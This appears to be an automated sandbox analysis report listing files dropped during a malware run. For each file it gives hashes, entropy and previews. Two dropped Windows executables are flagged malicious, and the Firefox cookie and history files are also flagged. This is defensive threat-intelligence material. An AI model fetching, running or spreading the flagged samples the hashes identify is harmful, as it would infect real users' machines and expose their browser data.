Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\d17739a7-9366-425e-bff2-655805bc76f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\RoamingDBFHCGCGDA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.947761453573232
Encrypted:	false
SSDEEP:	49152:k7FXgGgW5JEKR/99GAdrdKZWILQ5qDjVN:kXQWkK9HFYpQ5qD/
MD5:	6F59CE88B52487BBA7EB59E81525C4F5
SHA1:	83BB1ABC3BD3B56BEC0A68D6CD0DF63BCF975AD6
SHA-256:	6DD3D6081F01C1FB88B36ECD336005AB3571876BE404EFE416A7248866868191
SHA-512:	985853C822CD92EE4A1F2A04EB63EE4E6692F23144683CF40E5A402E7A81B951ACB1D489C0E5292C0B78AAB99787F89DABCAEC5B25975F706F52C01601293860
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f.............................PJ...........@...........................J.....&,....@.................................W...k............................/J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... ..).........................@...lddzjshm......0.....................@...ytmlykrz.....@J.....................@....taggant.0...PJ.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingJDHCBAEHJJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.948026200329907
Encrypted:	false
SSDEEP:	24576:RElNTG6/o3vvElD5qE4szbidPEUDk8TxtMcWVmzJgGKkqcgUQlqL46gipvOn9C+v:yNMWDgCU48TxmVDcYlY4Bn8ajgZ
MD5:	8707B0635775BBE157B0210B51D80C0F
SHA1:	34B46C087C060B653E81A1EADF3B448604D9B683
SHA-256:	070E66A9A8249C69170AED81733640A69ED924B838477D6383F37E6CC1430CCD
SHA-512:	70C91BBD9216CB85F8FA84FABFC0DC2994953EFE69FBBF40872BC8FA555DCAED4D87ECC673A2D58A9A17D744ADF3F15029417A9114B4DD46AE4903E560194E25
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f............................. L...........@..........................PL......y....@.................................W...k.............................L.............................L.L..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...lsmjcynp.0....1..*..................@...bndcrfma......L.....................@....taggant.0... L.."..."..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	0.7289870203104053
Encrypted:	false
SSDEEP:	384:w1zkVmvQhyn+Zoz679BNlXMM6333Jp/LKXKN8NNNtq:wMzMMaC2
MD5:	A56B188ECEF6FD27CAE737711F3962DF
SHA1:	D642066EC80957F476D2DC319CADCC17672D9566
SHA-256:	3E8D05CA38205325F7F9FE056F27A99BC9BA7FD7B1CB906158F8243623AD8D39
SHA-512:	D10FCD901B1EBAAA16DFF51318AA01DE9F2AAEDF0667CDE7C383B6FA55F55334DBC1F1850BB9B9CCEF55359ACDA80CF33830DB91248C024422A6EDB1DC07DDE4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z..{...{.{j{*z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db-journal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	229944
Entropy (8bit):	0.6440737370533706
Encrypted:	false
SSDEEP:	384:7VtcNnNlXMM6333Jp/LKXKN84H1zkVmvQhyn+Zoz67K:gzMMaCuP
MD5:	0C00D7DBD4427823E691C4246962DF82
SHA1:	37E535CAE38FAB092B54D7CC4445EA4A5A842641
SHA-256:	523F5AFA84D25544D64982FF11E8A14D10868887EA00D71EEFB55E65FC49BC2B
SHA-512:	8D8880107C85B8BB19B51704AE1316E41D87E36C8DAE8863EDDDD89E443DC7A0C5A9FF0FC312084CDE5A328B845325A576E7138158BD40F18A0EA686563B8394
Malicious:	false
Preview:	.... .c.......*:..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k............k................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	196784
Entropy (8bit):	0.07523544599387709
Encrypted:	false
SSDEEP:	48:PpFFZuoGFRoGUPFZ4I0lZ7oGFzREgoGUPFZG:PpDZ1GFiGUtZ4nAGF+GUtZG
MD5:	199E18E49FF1D856C0CF716938A2BF21
SHA1:	38EC1B84FC929BF53F549D1F4DBEFA2BE3F72C33
SHA-256:	8A9242B7D933999C86847B9E219D5401F48E9A9029EAE77187EF839D0EFD9E9F
SHA-512:	6A2821A5E4469D56CE021773D0024E28DC596DF76263E43B116EF5896A125C84149F76D4D8CB3979EFAC2D3B9226AC71984B5E8E5C16F99B232B3D4298992ADB
Malicious:	true
Preview:	7....-............./M......Ab.L3.........../M.....B.p...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.0738277204455097
Encrypted:	false
SSDEEP:	12:DBl/WP7Wla0mwPxRymgObsCVR45wcYR4fmnsCVR4WguGBgvl:DL+dsh7Owd4+FABIl
MD5:	1B81333F981B387FB8966D16716538CD
SHA1:	036909E26A279B0956E98D8A7C937F71EC68CAB4
SHA-256:	245A9674B327E112EFD59EFCEDF0E7D626E5F19260D45021DA8653C02F322B1D
SHA-512:	912AC43535B1AEB10CF06888B50A3264B624A10F270C0046926827A6339F6FCB01B372B5A63DFA61F1D9B7B6D6CDD402BAE43D9B7E713CA1276CC9949DECA445
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07300213380523338
Encrypted:	false
SSDEEP:	6:G4lRp9lRp79XIpFl/Ocl/xFl/Ocl/xl/ql/DlB6lPc7rl:lTHTJOl/h7l/h5l/eq9C
MD5:	10F2FF687858C97F97CB69A20806A5A3
SHA1:	5CA11BDDEE9F4A9E08E747C71AFD12BA07B24A06
SHA-256:	C943C199D17EFD9501B84DA26C847DEAB2E2902C1241447D1AD4D0D8219078AC
SHA-512:	7653B6F6136B58997202AE8B08B0ABDA666E7DB2229D876E6B8C0286410C4D957C5D591F1BF8F1ED2B7D0DD7584BD29CA5B25CFDE3C0CB7D9138FDEE547F6EDA
Malicious:	true
Preview:	..-......................j...}.A..../...ER.....-......................j...}.A..../...ER...........*...................................................................................................................................................................................................'...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	1377296
Entropy (8bit):	0.08787369969775759
Encrypted:	false
SSDEEP:	192:v0o2IGKq78H6O3pFtcko2IGKvDtofM8k3NFtQ6XE2IGKsCXETg:so2oOk3Oko2ovD137XE2osZg
MD5:	DFBF77564CC39682F712DC776EF38D14
SHA1:	4BC219FD83586A42F707730ED4F3B13DCA935E58
SHA-256:	489FB32578D0F2BD62AD3158434639B9EE463F9B6791F23B33D711EF695E229E
SHA-512:	46B08B8D894303BC3BCD9A9AABC54DBCC991CB49C2FE229557FCB2DE616427FB77545DB4290DED057E192DF69C9B8BF7F84E09D8DC66A5A166B5BA81A9395A8E
Malicious:	true
Preview:	7....-..........}.A..../....E.7........}.A..../T.t..YK.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	10224
Entropy (8bit):	5.507785412269564
Encrypted:	false
SSDEEP:	192:lcnSRkGYbBp67qUCaXr6VqkHNBw8dGnSl:legqUWJPwd0
MD5:	63148879412EA301F62E4F0EC02242B0
SHA1:	B63C3F6139A93993A98683B7EA78AA6EF1870C6B
SHA-256:	9B2EF5DC031A9CAC5E0BA1DB32BDF74703180AF93B5712F2C5A66D3F8B00C318
SHA-512:	2872A2CBC16566000F07693F35D8C4F6D67AB3B0182910FCF45592EEB7E87943F25E9B536E206010917C54AAAD41E5C3F9607668B14F9EDA21D717ECC3B3B90E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721986162);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721986162);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1721986162);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.r

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	10224
Entropy (8bit):	5.507785412269564
Encrypted:	false
SSDEEP:	192:lcnSRkGYbBp67qUCaXr6VqkHNBw8dGnSl:legqUWJPwd0
MD5:	63148879412EA301F62E4F0EC02242B0
SHA1:	B63C3F6139A93993A98683B7EA78AA6EF1870C6B
SHA-256:	9B2EF5DC031A9CAC5E0BA1DB32BDF74703180AF93B5712F2C5A66D3F8B00C318
SHA-512:	2872A2CBC16566000F07693F35D8C4F6D67AB3B0182910FCF45592EEB7E87943F25E9B536E206010917C54AAAD41E5C3F9607668B14F9EDA21D717ECC3B3B90E
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721986162);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721986162);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1721986162);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.r

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 301 bytes
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.491901160454081
Encrypted:	false
SSDEEP:	6:vXDvz2SzHs/udk+eDAWrZCMNRoGO/QqCRwbffnK3SIgCeFtVEqNzdDdCQ:vLz2S+EWDDoWqC+bfPK34Ptd9
MD5:	9BDCDDB0B2C57A243748FDCB82CDD689
SHA1:	50B59D49B1359EA44F54C65F347D5F95F8B0580A
SHA-256:	A96CD412B92243C18321E47A6E271A871D94EC484D368A56CEBD2E55B7F08331
SHA-512:	A93114552C6E8E41F7B91E5DC4458384F2604AD00DE24B674D10E22E31E6241B30DBBF1AEF268AC40B34C3F3618DA3577E6E20CB4D3EED31DF584DB368B3CAFE
Malicious:	false
Preview:	mozLz40.-.....{"version":["ses....restore",1],"windows":[{"tab....],"selected":0,"_closedT..d_lastC...&GroupCount":-1,"busy":false,"chromeFlags":2167541758}d..W..5":1j..........@":{"w...Update":1721986148263,"startTim...#31704,"recentCrashes":0},"global":{},"cookies":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 301 bytes
Category:	dropped
Size (bytes):	271
Entropy (8bit):	5.491901160454081
Encrypted:	false
SSDEEP:	6:vXDvz2SzHs/udk+eDAWrZCMNRoGO/QqCRwbffnK3SIgCeFtVEqNzdDdCQ:vLz2S+EWDDoWqC+bfPK34Ptd9
MD5:	9BDCDDB0B2C57A243748FDCB82CDD689
SHA1:	50B59D49B1359EA44F54C65F347D5F95F8B0580A
SHA-256:	A96CD412B92243C18321E47A6E271A871D94EC484D368A56CEBD2E55B7F08331
SHA-512:	A93114552C6E8E41F7B91E5DC4458384F2604AD00DE24B674D10E22E31E6241B30DBBF1AEF268AC40B34C3F3618DA3577E6E20CB4D3EED31DF584DB368B3CAFE
Malicious:	false
Preview:	mozLz40.-.....{"version":["ses....restore",1],"windows":[{"tab....],"selected":0,"_closedT..d_lastC...&GroupCount":-1,"busy":false,"chromeFlags":2167541758}d..W..5":1j..........@":{"w...Update":1721986148263,"startTim...#31704,"recentCrashes":0},"global":{},"cookies":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
